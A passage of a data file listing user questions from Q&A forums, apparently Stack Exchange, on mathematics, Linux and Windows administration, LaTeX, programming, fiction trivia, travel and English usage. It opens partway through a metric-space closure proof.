adherent point of $X$, i.e., $z'\\in \\overline{X}\\subset \\overline{X}\\cup \\overline{Y}$. Similarly when $z\\in Y$, $z'\\in \\overline{Y}\\subset \\overline{X}\\cup \\overline{Y}$. Thus $ \\overline{X\\cup Y}\\subset\\overline{X}\\cup \\overline{Y}$. We know that $X\\cup Y \\subset\\overline{X\\cup Y}\\subset\\overline{X}\\cup \\overline{Y}$. Then $\\overline{\\overline{X\\cup Y}}=\\overline{X}\\cup \\overline{Y}$. Since $\\overline{\\overline{X\\cup Y}} = \\overline{X\\cup Y}$ we're done. Let $z'\\in \\overline{X\\cap Y}$, i.e., $z'$ is an adherent point of $X\\cap Y$. So, there is some $z\\in X\\cap Y \\subset X$ such that $d(z',z)\\le \\varepsilon$ for any given $\\varepsilon>0$. It follows that $z'$ is an adherent point of $X$, i.e., $z'\\in \\overline{X}$. Similarly since $z\\in X\\cap Y \\subset Y$ we have $z'\\in \\overline{Y}$. Hence $z'\\in \\overline{X}\\cap\\overline{Y}$. Let $x'\\in \\overline{X}$ we'd like to show that $x'\\in \\overline{Y}$. Let $\\varepsilon>0$ be arbitrary then $\\exists x\\in X\\subset Y$ such that $d(x',x)\\le \\varepsilon$, so $x'$ is an adherent point of $Y$, i.e., $x'\\in \\overline{Y}$ as desired. $\\Box$ Claim 1: If $X\\subset Y \\subset \\overline{X}$. Then $\\overline{Y}=\\overline{X}$. Proof claim: Let $y'$ be an adherent point of $Y$, i.e., $y'\\in \\overline{Y}$ and let $\\varepsilon>0$ be given. Thus, $\\exists y \\in Y\\subset \\overline{X}$ s.t. $d(y,y')\\le \\varepsilon$. So, $y$ is an adherent point of $X$. Thus $\\exists x\\in X$ s.t. $d(x,y)\\le \\varepsilon$ and therefore we must have $d(x,y')\\le 2\\varepsilon$ which shows that $y'$ is an adherent point of $X$, i.e., $\\overline{Y}\\subset \\overline{X}$. Conversely if $x'$ is an adherent point of $X$. Then $\\exists x\\in X\\subset Y$ s.t. $d(x,x')\\le \\varepsilon$, and so is adherent to $Y$. $\\Box$ Claim 2: $\\overline{\\overline{X}} = \\overline{X}$ Proof: It will suffice to show that if $x''\\in \\overline{\\overline{X}}$, then $x''$ is an adherent point of $X$. Let $\\varepsilon >0$ be arbitrary and let $x''$ be an adherent point of $\\overline{X}$. Then there is some $x' \\in \\overline{X}$ such that $d(x'',x')\\le \\varepsilon$. Since $x' \\in \\overline{X}$ by definition is an adherent point of $X$, so there is some $x\\in X$ for which $d(x,x')\\le \\varepsilon$. Thus $d(x,x'')\\le d(x,x')+d(x',x'')\\le 2\\varepsilon$ it follows that $x''$ is an adherent point of $X$ as desired. $\\Box$", "How tall is Supreme Leader Snoke? In Star Wars: The Force Awakens, we see Supreme Leader Snoke a few times dispensing orders to his subordinates. However, we always see him communicating via hologram, and we've seen in previous Star Wars films that these holograms are often projected at a different size than the original person is. So how tall is he really? I don't think we ever got a good shot of him with something to give a sense of scale.", "Change Gmail account to make in-app purchase?", "Thus is a picture of both of my hard-drives: My C Drive and my D drive. I want to put Ubuntu onto my D Drive. Now my question here is if i do install onto my D Drive then how should I do it in order to retain use of the drive. I intend to partition about 60 gigs from it. Now after doing that I should still have about 830 gigs left. I want to still be able to use that in Windows. So how and will I be able to retain use of the drive after Installing? I have installed once before and I believe i did it wrong because not only could Windows not recognize my D drive but I also lost all the data on it. My computer is a Lenovo Y700 It is a UEFI (I believe i got that right).", "A question about long exact sequence of finite dim vector spaces Q) Prove that if $0\\rightarrow V_1\\rightarrow V_2\\rightarrow...\\rightarrow V_k\\rightarrow 0$ is an exact sequence of finite dimensional vector spaces, then $\\sum_{i=1}^{k}(-1)^idim (V_i) = 0$. For $k=3$, I see that the statement is true. For $k>3$, am I correct in understanding that $V_2 = V_1\\oplus V_3 (\\implies dim(V_2)=dim(V_1)+dim(V_3))$ and $V_3 = V_2\\oplus V_4(\\implies dim(V_3)=dim(V_2)+dim(V_4))$ and so on? If it is true, then for $k=4$, $\\sum_{i=1}^{4}(-1)^idim (V_i) = -m_1+m_1+m_3-m_2-m_4+m_4$ and am not sure why $m_2=m_3$ for the sum to be $0$? where $m_i = dim(V_i)$. Thanks.", "Mass Uninstalling Just been working on a new laptop today (Acer) and it was pre-installed with all sorts of crapware. Mostly games and \"backup utilities\" and McAfee. I had to manually uninstall about 30 apps via Vista's Programs and Features So it got me wondering is there any way of mass uninstalling or queuing an app to be uninstalled? Through Vista/XP you need to wait for Install Shield or whatever to close before beginning to uninstall the next app. Took way more time than it should have. Just another one of those Windows annoyances! Any help appreciated as I often need to do this when I come across a slow machine that's just been clogged with a bunch of useless apps", "Editing default custom object home screen I would like to add a custom button (URL to Flow) to my default home page for my custom object. Currently, I have a default \"New\" button to create a new record (see attached screen shot). I'm wanting to add my Flow custom button to this page. Is there a way to do this? Cheers, Sean.", "I'm just starting to learn LaTeX. I tried typing \\begin{equation*} (math goes here) \\end{equation*} and I got a whole bunch of errors. It seems LaTeX interpreted the empty line as the equation: when it saw nothing there, I guess it just ended math mode? It then said my other commands needed $'s so I assume that's what happened. When I typed \\begin{equation*} (math goes here) \\end{equation*} everything was fine. So I'm confused. If LaTeX sees an empty line in an environment, does it just interpret this as me changing my mind, and deciding not to use the declared environment?", "ssh master - execute su remotely I have a server S that I need to connect to. I'm connecting to S as user asdf with control master and after that I perform some stuff: ssh -N -f -M -o ControlPath=$SSHSOCKET ${USER}@${IP} -p ${PORT} -i id_rsa ssh -to ControlPath=$SSHSOCKET ${USER}@${IP} -p ${PORT} \"su -c whoami && hostname && exit\" It works as expected, but second line asks me for password. I am trying such fix: echo 'qwerty' | ssh -t -to ControlPath=$SSHSOCKET ${K3_USER}@${IP} -p ${PORT} \"su -c whoami && hostname && exit\" but it gets even worse: muxserver_accept_control: tcgetattr: Inappropriate ioctl for device tcgetattr: Inappropriate ioctl for device Password: For me, it's mandatory to ssh as asdf first. I also can't make any other ssh control master connections. I also can't modify any config on the target machine. I just need to switch to root via ssh somehow. Any ideas ?", "If G is a group of order n=35, then it is cyclic I've been asked to prove this. In class we proved this when $n=15$, but our approached seemed unnecessarily complicated to me. We invoked Sylow's theorems, normalizers, etc. I've looked online and found other examples of this approach. I wonder if it is actually unnecessary, or if there is something wrong with the following proof: If $|G|=35=5\\cdot7$ , then by Cauchy's theorem, there exist $x,y \\in G$ such that $o(x)=5$, $o(y)=7$. The order of the product $xy$ is then $\\text{lcm}(5,7)=35$. Since we've found an element of $G$ of order 35, we conclude that $G$ is cyclic. Thanks.", "How do I delete Windows.old in Windows?", "How can I explain to a non-native why the plural of a noun isn't used adjectivally? How can I explain to a non-native speaker that while this is correct: The felling of trees. And this is also correct: tree felling This is not: *trees felling To a non-native it seems very reasonable that since many trees are being felled and given that the felling of trees uses the plural, the inverse form would also use the plural and become trees felling. To a native speaker such as myself, the latter is very obviously wrong, but I couldn't figure out how to formalize this into a rule that a non-native can understand.", "Why does as.factor return a character when used inside apply?", "I need a command that will wait for a process to start accepting requests on a specific port. Is there something in linux that does that? while (checkAlive -host localhost -port 13000 == false) do some waiting ...", "How to self study Linear Algebra I have no idea if this question is appropriate for this forum, but I hope you guys can overlook the fact that I asked it on a wrong forum (if I did) and still help me answer it (of course, if this is indeed the wrong forum for the type of question I'm about to ask, do please say so). I am a 16 year old guy who is passionate about physics and as a result wants to increase his knowledge in mathematics, the language of physics. I've read and heard a lot about Linear Algebra and how crucial it is to physics and I am deeply motivated to self study this intriguing part of mathematics. However, I have limited knowledge of maths. I (for example) know basic algebra, trig, diff/int calc and some analytical geometry, but I wouldn't say I master these subjects past the high school curriculum. Now my question is: Would you kind people say I am able to self study Linear algebra or is it too tough and/or does it require too much of a math background? And are there any good books out there for BEGINNERS in LA? I found this (free) e-book called: Elementary Linear Algebra by Kenneth Kuttler and another one called 'Linear Algebra: Theory and its applications' also by Kuttler? Are these any good? Or would you recommend other books? If you guys have any tips regarding books for LA but also tips in general, please, I'd appreciate them!", "Let me tell the story from the beginning: I installed Big Sur on an unsupported Mac using guidelines at Medium. In the guide it was stated that I should create a separate partition for Big Sur, and shouldn't install it on my current one. I had my SSD Called "Macintosh SSD" and later I created a partition named "Macintosh SSD Big Sur" of size 40GBs. After installation I wanted to clear the "Macintosh SSD" of size 80GBs(with old MacOS) and merge it with the new "Macintosh SSD Big Sur". This is what I initially had after formatting partition with the old MacOS So, I used the command sudo diskutil apfs deleteContainer disk3 after which I had (free space) in /dev/disk1 I want to extend that 39.6GB partition which free space of 80,1GB but all the commands I googled do not work:(( Could you please guide me on what I should do now? Thank you in advance!", "Using Laptop Screen as a monitor", "If $X_1, ..., X_n$ are independent identically-distributed random variables, what can be said about the distribution of $\\min(X_1, ..., X_n)$ in general?", "Find the integer which is closest to the value of $\\frac{1}{\\sqrt[6]{5^6+1}- \\sqrt[6]{5^6-1}}$ I have tried putting them between n and n+1 and tried manipulating n but I cant seem to find a strategy." ]

[ "You can reach this IP address (if my computer is online). I want to assign a domain to it so I wonder how is that possible when I have no DNS? I do own my domain which is \".com\". My IP is static. Thanks", "What is ambient occlusion? I've heard about ambient occlusion and it looks nice, but what exactly is it?", "How to prove that you have significant ties with family in your home country?", "Word for someone who acts like an expert but who has very little knowledge? What is a word to describe an individual who acts like an expert in a subject area, constantly stating facts and correcting people, but who actually has very little knowledge on the subject?", "How can one have a mini table of contents for the current chapter appear just after the chapter name listing all sections of that chapter?", "I vaguely remember a SciFi novel from my younger days, where scientists discover \"alternative\" forms of power beside electromagnetism. I do not remember the specific forms, but it was something along the lines of \"electrogravity\", \"magnetogravity\" etc. -- you get the idea. If I remember correctly, the effects of these power forms were basically psionic / magic in nature. Unfortunately I remember very little of the actual plot, and couldn't put it into words with any coherency. Some treachery from within the group of scientists, perhaps some involvement of aliens? I cannot really remember. I just remember I enjoyed the story very much, and would like to re-read it. The title could be \"The fifth column\" or similar -- then again I might be confusing two seperate novels. I know that's not much, sorry. Anyone remembers this?", "Pagination broken when merging search results with additional WP_Query On the search results page (search.php) I would like to perform an additional WP_Query to keep a specific order of search result types e.g. search results from authors should always be shown before the other results - The first few pages should hold the author results, the other results should be shown on all the following pages only (not mixed on each page). global $wp_query; //holds the results of the initial search query $authorposts = $wp_query->posts; $query = new WP_Query( 'year=2012&monthnum=12&day=12' ); $otherposts = $query->posts; $wp_query->posts = array_merge( $authorposts, $otherposts ); $wp_query->post_count = count( $wp_query->posts ); if ( have_posts() ) : while ( have_posts() ) : the_post(); ?> //show results loop... The problems appear with the behaviour of pagination - while the $authorposts seem to paginate correctly i.e. correct page numbers for author posts and pagination works as only those where existent. But the $otherposts on the other hand are shown at the bottom of each page, right under the author posts. And they are the same on every page! Also the page count reflects the count of the first query only. I have also tried to merge with the plus operator: $wp_query->posts = $authorposts + $otherposts; but in this scenario the $otherposts don't show up at all and the page count stays the same (page count for author posts). All the examples with similar goals using two separate queries I've seen looked quite the same - So I'm wondering if the my way of extending the original search query results with that additional WP_Query is sufficient or if I'm missing some $wp_query fields to be populated (correctly)? What's the correct way doing this? Update: It should be noted that I'm using the WP-PageNavi plugin to paginate but this should not be relevant in the first place as the first page is already rendered wrong. And it's also initialized with the query object: wp_pagenavi( array( 'query' => $wp_query ));", "Triggering actions when a variable is set", "Deserializing JSON when sometimes array and sometimes object", "In it says To make gradient descent work correctly, we need to choose the learning rate η to be small enough that Equation (9) is a good approximation. If we don't, we might end up with $\\Delta C>0$, which obviously would not be good! At the same time, we don't want $\\eta$ to be too small, since that will make the changes $\\Delta v$ tiny, and thus the gradient descent algorithm will work very slowly. In practical implementations, $\\eta$ is often varied so that Equation (9) remains a good approximation, but the algorithm isn't too slow. We'll see later how this works. But just a few paragraphs before we established that $\\Delta C\\approx−\\eta\\nabla C⋅\\nabla C=−\\eta\\|\\nabla C\\|^2$ is obviously always negative (for positive $\\eta$). So how can $\\Delta C$ be positive if we don't choose a small enough learning rate? What is meant there?", "Any real-time antivirus for Ubuntu?", "creating a diagonal matrix with a variable amount of parameters", "A property of every real polynomial. Question: For every polynomial $P(x)$ of degree at n we have $$\\sum_{i=0}^{n+1}(-1)^i\\binom{n+1}{i}P(i)=0$$ Well I was inducting on degree of the polynomial, for $n=0$ its true and I got a bit confused in the inductive step, actually I cant figure the inductive step. Is this property (if true) a famous one? Thank you for your help.", "Since multiple inheritance is bad (it makes the source more complicated) C# does not provide such a pattern directly. But sometimes it would be helpful to have this ability. For instance I'm able to implement the missing multiple inheritance pattern using interfaces and three classes like that: public interface IFirst { void FirstMethod(); } public interface ISecond { void SecondMethod(); } public class First:IFirst { public void FirstMethod() { Console.WriteLine("First"); } } public class Second:ISecond { public void SecondMethod() { Console.WriteLine("Second"); } } public class FirstAndSecond: IFirst, ISecond { First first = new First(); Second second = new Second(); public void FirstMethod() { first.FirstMethod(); } public void SecondMethod() { second.SecondMethod(); } } Every time I add a method to one of the interfaces I need to change the class FirstAndSecond as well. Is there a way to inject multiple existing classes into one new class like it is possible in C++? Maybe there is a solution using some kind of code generation? Or it may look like this (imaginary c# syntax): public class FirstAndSecond: IFirst from First, ISecond from Second { } So that there won't be a need to update the class FirstAndSecond when I modify one of the interfaces. EDIT Maybe it would be better to consider a practical example: You have an existing class (e.g. a text based TCP client based on ITextTcpClient) which you do already use at different locations inside your project. Now you feel the need to create a component of your class to be easy accessible for windows forms developers. As far as I know you currently have two ways to do this: Write a new class that is inherited from components and implements the interface of the TextTcpClient class using an instance of the class itself as shown with FirstAndSecond. Write a new class that inherits from TextTcpClient and somehow implements IComponent (haven't actually tried this yet). In both cases you need to do work per method and not per class. Since you know that we will need all the methods of TextTcpClient and Component it would be the easiest solution to just combine those two into one class. To avoid conflicts this may be done by code generation where the result could be altered afterwards but typing this by hand is a pure pain in the ass.", "How can I draw a horizontal line spanning only some of the table cells? In a table, how can I draw a horizontal line that goes only through some of the cells? I mean a line like the one in the Foo and in the Bar area of this table: +----+-----+ |Foo |1 |2 | | |1 |2 | | +--+--+ | |1 |2 | | |1 |2 | +----+-----+ |Bar |1 |2 | | |1 |2 | | +--+--+ | |1 |2 | | |1 |2 | +----+--+--+", "How to make a different font and color of text in labels? Is it possible to make a bold or italic, and change the color of individual words Label? Example: the first line is bold in red text, font 12, second row 10 green italic font", "When should we consider a dataset as imbalanced? I'm facing a situation where the numbers of positive and negative examples in a dataset are imbalanced. My question is, are there any rules of thumb that tell us when we should subsample the large category in order to force some kind of balancing in the dataset. Examples: If the number of positive examples is 1,000 and the number of negative examples is 10,000, should I go for training my classifier on the full dataset or I should subsample the negative examples? The same question for 1,000 positive example and 100,000 negative. The same question for 10,000 positive and 1,000 negative. etc...", "If background applications can't launch automatically how does Cardcase launch on a location change?", "What did the general public know about Darth Vader? When Darth Vader first becomes Palpatine's apprentice, very few know of his existence and connection to the Emperor: the members of the Trade Federation (whom he dispatches) and Yoda, Kenobi, Organa, and their associates are all that seem to know at the end of Episode III. Ultimately, the Resistance would know about him as they would be fighting him, and Organa could have been able to inform them about his identity and the fact that he is a Force user. The military of the Empire would know of his existence, but even high-ranking members likely wouldn't know his past or identity. However, they would know about the fact that he is a Force user due to his tendency to use his \"sorcerer's ways\" to choke people. So, how much would the general public have known about Vader? Would they have known him as just another military leader, or would they have known he was Palpatine's right-hand man? Would they have known about his ability to use the Force, and therefore the possibility that he was a Sith?", "How to speed my too-slow ssh login? Running ssh user@hostname takes ~30s. Here's the scenario: this is a VM on the local LAN Windows and Mac machines get instant login am using Debian and I could reproduce with an Ubuntu machine someone using Ubuntu says that logging into my machine (local LAN) is also instant using hostname IP address takes about half as much time (~15s) [update] Using ssh -vvv user@hostname, here's where it waits the most: debug3: authmethod_lookup gssapi-with-mic debug3: remaining preferred: publickey,keyboard-interactive,password debug3: authmethod_is_enabled gssapi-with-mic debug1: Next authentication method: gssapi-with-mic And then it waits a bit here: debug1: Unspecified GSS failure. Minor code may provide more information Credentials cache file '/tmp/krb5cc_1000' not found debug1: Unspecified GSS failure. Minor code may provide more information Credentials cache file '/tmp/krb5cc_1000' not found" ]

[ "Is QImage able to open and render pure 16-bit images?", "Prevent href=\"#\" link from changing the URL hash", "I am generating one report where I need to use background image. But I found that image always starts leaving some margin space to left side. \\documentclass{article} \\usepackage{wallpaper} \\usepackage{mdframed} \\usepackage[top=2cm, bottom=2cm, outer=0cm, inner=0cm]{geometry} \\begin{document} Some content \\ThisLRCornerWallPaper{1.0}{image.jpg} \\end{document} How can I use background image covering whole page?", "If I write the following class: public class Example { int j; int k; public Example(int j, int k) { j = j; k = k; } public static void main(String[] args) { Example exm = new Example(1,2); System.out.println(exm.j); System.out.println(exm.k); } } The program compiles, but when I run the program, the main method will print out two 0s. I know that in order to say that I want to initialize the instance variables in the constructor I have to write: this.j = j; this.k = k; But if I don't write it, then which variable is evaluated (or considered) in the constructor (on the left and on the write hand side of the expressions)? Is is the argument or the instance variable? Does it make a difference? Are there other cases where the use of this is obligatory?", "How to find and replace in linux on a large file? Oh, hi; So I've got this big json file and I'm trying to find and replace a few things but when I've used sed I get an error and I need a sed or awk string to find and replace it, without getting an error. prajwal Current: {"telephone_numbers":["1- Future: {"telephone_numbers":["+1- This is the command i tried and the error i got. sed -i 's/{"telephone_numbers":["1-/{"telephone_numbers":["+1-/g' output.json sed: -e expression #1, char 56: unterminated `s' command", "How can I change this method to query my master detail object? I am new to Apex trying to do some practice assignments and have gotten stuck on this junction object query. Task: Edit the current getUser() method to do the following: Return a custom object (that you define in the class) with the current getUser method's query data, and the list of teams the person belongs to (by querying the team assignments). Parent Object 1: User (Standard Object) Parent Object 2: Team (Custom Object) Junction Object: Team Assignments (Custom Object) **Original Class & getUser Method** global class CTI { global class CTIException extends Exception {} global static User getUser() { return [SELECT Id, Name, ProfileId, Profile.Name, UserRoleId, UserRole.Name, Username FROM User WHERE Id = :UserInfo.getUserId() ]; } }", "How do I detect orientation on app launch for splash screen animation on iPad!", "How to typeset a file path?", "Note: $x_n$ is a sequence which is not necessarily convergent. The following was my attempt. Since $\\lim_{n\\to \\infty}a_n=a$ then $\\limsup_{n\\to \\infty}a_n=a$ . Also $\\sup(a_nx_n)=\\sup(a_n)\\sup(x_n)$. Therefore, $\\limsup_{n\\to \\infty}a_nx_n=\\limsup_{n\\to \\infty}a_n\\limsup_{n\\to \\infty}x_n=a\\limsup_{n\\to \\infty}x_n$. I am not sure if this is correct. So could someone please show me how it is done. Thanks", "Update 02/02/2019 I appreciate all the responses and help but unfortunately i must have not seen the emails stating there were responses! I am now looking into a NEST thermostat and was curious if they too, use the same connections. Lastly, looking for a quick recommendation on which WiFi Compatible therms are preferred by the memebers that respond! Thanks again your knowledge is highly appreciated! Bob I Purchased the Honeywell WiFi Prog Thermostat to replace my Round Digital Honeywell Thermostat. I have separate Heating and Cooling (Heating is a Weil McLain Boiler for Hot water baseboard and Hot water(no tank) and Cooling is a separate unit that was added later.) Wires: RC Cool R Heat W Heat Y Cool G Cool 3 wires from AC unit and 2 from Heater. If I were to go the separate transformer route to power the thermostat, where would I land the 2 wires? C and ???", "Why is the ##UserID## parameter not populated in Data Explorer anymore? Environment I'm logging in using the OpenID from and using Chrome 31.0.1650.57 m if that matters. Steps to reproduce: Log in to and , for example, like: DECLARE @MyUserID INT = ##UserID:int## SELECT TOP 1 Id AS [Post Link], Score AS [Score], CreationDate AS [Creation Date] FROM Posts WHERE OwnerUserId = @MyUserID AND PostTypeId IN (2, 3) ORDER BY CreationDate DESC Then press the Run Query button and see if the UserID field is filled with your own user ID like shown in the below screenshot: Question: Did something changed on the ##UserID## parameter (for example, that it's not supported anymore)? If so, then there is an outdated paragraph about it (What's the point of logging in). If not, it is a bug which is there about three days (I've been waiting since I noticed that you were going to do some changes to Data Explorer, but it remains there, hence my question).", "How do I use regular expressions in bash scripts? I want to check if a variable has a valid year using a regular expression. Reading the I understand I could use the operator =~ Looking at the example below, I would expect to see \"not OK\" but I see \"OK\". What am I doing wrong? i=\"test\" if [ $i=~\"200[78]\" ] then echo \"OK\" else echo \"not OK\" fi", "This is probably pretty basic, but to save me an hour or so of grief can anyone tell me how you can work out the number of bits required to represent a given positive integer in Java? e.g. I get a decimal 11, (1011). I need to get the answer, 4. I figured if I could work out how to set all the bits other than the most significant bit to 0, and then >>> it, I'd get my answer. But... I can't.", "Does tourist visa (90 days) apply after a long-term visa ends in Schengen countries? I am an Australian currently on a Netherlands working holiday visa that ends in May next year. I would like to know if when my visa ends I then get another 90 days just as a regular tourist visa as I would like to do some more travel within Europe when my visa ends before going home to Australia.", "Significance of $\\sqrt[n]{a^n} $?! There is a formula given in my module: $$ \\sqrt[n]{a^n} = \\begin{cases} \\, a &\\text{ if $n$ is odd } \\\\ |a| &\\text{ if $n$ is even } \\end{cases} $$ I don't really understand the differences between them, kindly explain with an example.", "I understand that the expressions on both sides of an equal sign are the same entity, and I know that when you modify one side, the other must be changed because it is referring to the same thing. What I do not understand is why making a new equation (adding or taking away from an expression) allows one to know what an unknown represents. What about equations lets us do this?", "Do \"Best by: XX-XX-XX\" foods have an expiration date? How long will foods that have \"Best by: XX-XX-XX\" on the product last past that date? I have tried looking online, and all I can find is anecdotal evidence, which isn't very assuring for me since there seems to be no specific \"x food will expire y weeks after its best by date\". Is there a rule of thumb or some guide out there that can tell me how long a \"best by\" food will last? Or is it safe to assume that they never expire, since it's not actually labelled on the product?", "How do I start applications automatically on login?", "I think this is a very recent design change, because I've not seen it before: Where before a small box with the bounty value dislocated the title a couple of characters to the right, now the additional text saying how long until it expires dislocates the title by about a quarter of the width of the column. I find that this makes it much harder to read the title, and is counterproductive to the goal of attracting attention.", "Edit Mail rules manually" ]

[ "I am solving the TOEIC workbook, by the way, I faced conflict that doesn't match meaning I knew. The problem is The newest branch of the library is located in/on Pine Street. I think either 'in' or 'on' have the same meaning. But the commentary said that 'be located in' is mainly writing in front of building name and city name. I don't know what is correct?", "I would like to try a different video display driver, but I'm not sure which one I'm currently using. What's the simple way to see what driver my system is using currently?", "Is an automorphism of the field of real numbers the identity map? Is an automorphism of the field of real numbers $\\mathbb{R}$ the identity map? If yes, how can we prove it? Remark An automorphism of $\\mathbb{R}$ may not be continuous.", "Why can't I buy the Windhelm house (Hjerim)?", "How do I get an operating system onto a new hard drive?", "My significant other and I finish our master degrees at the same time and thus we are applying for PhD programmes at the same time. One major factor of accepting a potential offer would be if we could study at the same university, so I feel that mentioning a two-body problem would be advantageous for both, us and the admission committee. But where do I mention this? Is a line in the statement of purpose suitable here? If you admit me, please also consider admitting my significant other Jane Roe. Some additional information: We both do research in computer science. While I do research in natural language processing my partner does research in computer vision.", "Solving an equation over the reals: $ x^3 + 1 = 2\\sqrt[3]{{2x - 1}}$", "Back-transformation of regression coefficients I'm doing a linear regression with a transformed dependent variable. The following transformation was done so that the assumption of normality of residuals would hold. The untransformed dependant variable was negatively skewed, and the following transform made it close to normal: $$Y=\\sqrt{50-Y_{orig}}$$ where $Y_{orig}$ is the dependent variable on the original scale. I think it makes sense to use some transformation on the $\\beta$ coefficients to work our way back to the original scale. Using the following regression equation, $$Y=\\sqrt{50-Y_{orig}}=\\alpha+\\beta \\cdot X$$ and by fixing $X=0$, we have $$\\alpha=\\sqrt{50-Y_{orig}}=\\sqrt{50-\\alpha_{orig}}$$ And finally, $$\\alpha_{orig}=50-\\alpha^2$$ Using the same logic, I found $$\\beta_{orig}=\\alpha\\space(\\alpha-2\\beta)+\\beta^2+\\alpha_{orig}-50$$ Now things work very well for a model with 1 or 2 predictors; the back-transformed coefficients resemble the original ones, only now I can trust the standard errors. The problem comes when including an interaction term, such as $$Y=\\alpha+X_1\\beta_{X_1}+X_2\\beta_{X_2}+X_1X_2\\beta_{X_1X_2}$$ Then the back-transformation for the $\\beta$s are not so close to the ones from the original scale, and I'm not sure why that happens. I'm also unsure if the formula found for back-transforming a beta coefficient is usable as is for the 3rd $\\beta$ (for the interaction term). Before going into crazy algebra, I thought I'd ask for advice...", "Would a Cup of Tea Be Hotter If you Add the Milk Before or After Boiling Water? This is a bit of dispute between work colleagues. An answer would be greatly appreciated. My argument is as follows: If you add X amount of milk at a temperature of M to a mug at room temperature R before adding X amount of water at temp W, the result would be a cooler cup of tea than if you'd added the hot water first. This would be due to the milk reducing the overall temperature of the mug in the time that has been in it resulting in the addition of boiling water having less of an effect and resulting in a slightly cooler cup of tea/coffee. Conversely, if you add the hot water first, due to the mug being heated, the effect of adding the cool milk will be less and therefore the end result will be a hotter cup of tea. My Colleagues arguement is simply that it would not make a difference but without any form of justification. If anyone can give real scientific light to this issue it would be greatly appreciated :)", "I recently read a lot about neural networks using GRU or LSTM units. There are many easy to use frameworks like tensorflow that do not even require high knowledge about programming. Unfortunately, I never really found good information on how the training of those networks work. Simple backpropagation might probably not work for gated recurrent networks or is just too inefficient for networks with such a high number of variables to learn. So my question is: What are the state-of-the-art algorithms used for the initialization and training of neural networks with GRU or LSTM units? I am not looking for frameworks to use, but for initialization and update equations for the internal parameters.", "What is the difference between ubuntu-18.04-server and ubuntu-18.04-live-server? On the there is a download link for ubuntu-18.04-live-server-amd64.iso, and on the there is a download link for ubuntu-18.04-server-amd64.iso. Before 18.04, there is only a server version. What is the difference between these 2 images?", "pgAdmin 4: How to establish a connection through an SSH tunnel/interface in Windows I installed the latest pgAdmin 4 (v2.1) but I found out that (), for the moment, the only way to establish a connection through an SSH tunneling is using another outside process, an says: I setup a tunnel as follows: ssh -f dpage(at)hostname(dot)enterprisedb(dot)com -L 5999: hostname.enterprisedb.com:5432 -N (...) I was running on Mac, but the same procedure should work on Linux. On Windows, there's a tunnelling app in Putty iirc, but I don't know how to use it offhand. I have found a simple . The connection is established but it seems, when I try to connect through pgAdmin it fails or is refused (using 127.0.0.1:3306 or 127.0.0.1:5432 as the tunnel's destination). Why?", "Include the \"People Reached\" and \"Helpful Flags (count)\" data in SEDE I know the new profile design hasn't been updated for on the network yet, so maybe this is a bit too early. Nonetheless, please include the "People Reached" data in at your earliest convenience. Also, I was just made aware that users helpful flag counts are now publicly displayed on their towards the top-right, underneath the people reached stat. So please include this data in SEDE as well.", "According to this , if at least one of the nouns involved is plural then it should take the plural form of the verb. Otherwise, it should take the singular form of the verb. But in the last part it says not all grammars agree to those rules thus proximity rule applies. However, it doesn't explain when to apply the proximity rule and when not to use the former rules.", "Group theory proof of Euler's theorem ($a^{\\phi(m)} \\equiv 1\\mbox{ }(\\mbox{mod }m)$ if $\\gcd(a,m)=1$) From A Classical Introduction to Modern Number Theory by Ireland and Rosen, page 33: Corollary 1 (Euler's Theorem). If $(a,m) = 1$, then $a^{\\phi(m)} \\equiv 1\\,(m)$. Proof. The units in $\\mathbb{Z}/m\\mathbb{Z}$ form a group of order $\\phi(m)$. If $(a,m) = 1$, $\\bar{a}$ is a unit. Thus $\\bar{a}^{\\phi(m)} = \\bar{1}$ or $a^{\\phi(m)} \\equiv 1\\,(m)$. If I'm interpreting this correctly, this proof implicitly uses the fact(?) that if $G$ is a group and $x\\in G$, then $x^{|G|}=1$, where $1$ is the identity element of $G$. If this is indeed true, can someone explain why? (I have had no prior exposure to group theory.)", "I am preparing a paper in the field of Computer Science. In order to report test results, we usually run a number of tests and report the average of those tests. For each test, we generate random data. Because of the randomness, at some points, the results may come out not as expected. For instance, a graph may be like: Usually, one should explain why on points 8, 11 and 12 there is a decrease on the plot. Probably, it is because of that randomness. Not hand-crafting all the graph, but just manipulating a few points makes the graph acceptable: Since three weeks or so, I work my ass off and try to figure out why my resulting graph looks like the first one. Sometimes I feel like yielding to temptation and just modify the raw data before I go crazy. I believe, at this point the title became misleading, so let me make it clear: I am not seeking an advice on data manipulation. I will not manipulate my data. However, I ask to myself \"how the hell this can be detected?\" And now, I don't only ask to myself, but to whole community. How is this detected? For editors, referees out there, have you ever detected something like this?", "Same as title, want to kill alt-tab, etc.", "bash: start multiple chained commands in background I'm trying to run some commands in paralel, in background, using bash. Here's what I'm trying to do: forloop { //this part is actually written in perl //call command sequence print `touch .file1.lock; cp bigfile1 /destination; rm .file1.lock;`; } The part between backticks (``) spawns a new shell and executes the commands in succession. The thing is, control to the original program returns only after the last command has been executed. I would like to execute the whole statement in background (I'm not expecting any output/return values) and I would like the loop to continue running. The calling program (the one that has the loop) would not end until all the spawned shells finish. I could use threads in perl to spawn different threads which call different shells, but it seems an overkill... Can I start a shell, give it a set of commands and tell it to go to the background?", "Finding $ \\int^1_0 \\frac{\\ln(1+x)}{x}dx$ There is supposed to be a clean solution to the integral below, maybe involving some symmetry $$ \\int^1_0 \\frac{\\ln(1+x)}{x}dx$$ I have tried integration by parts as followed: $\\ln(x+1)=u$ ,$\\frac{1}{x+1} dx = du$ and also $\\frac{1}{x}dx=dv$, $\\ln(x)=v$. Then, the integral becomes $$\\int^1_0 \\frac{\\ln(1+x)}{x}dx=- \\int^1_0 \\frac{\\ln x}{1+x}dx$$ which does not make this easier. I have also tried using the identity $\\int_a^bf(x)~dx=\\int_a^bf(a+b-x)~dx$. So let $I = \\int^1_0 \\frac{\\ln(1+x)}{x}dx$ and also $I = \\int^1_0 \\frac{\\ln(2-x)}{1-x} $. Then $$2I= \\int^1_0 \\ln(1+x)+\\ln(2-x)$$ which is not any easier, either. Any ideas? :)", "I always wondered if children who graduate from Hogwarts have an education that is actually worth while in the real world. Do the children learn math and English? I can see History of Magic as practical. I know of Arithmancy, but that's the study of the magical properties of numbers, not math. Since Hogsmead is one of the very last all-magical towns, it's a fair assumption that a majority of the students at Hogwarts will be living in non-magical towns or cities. If practical classes (like math or English) aren't taught, then how do these students function in the non-magical cities?" ]

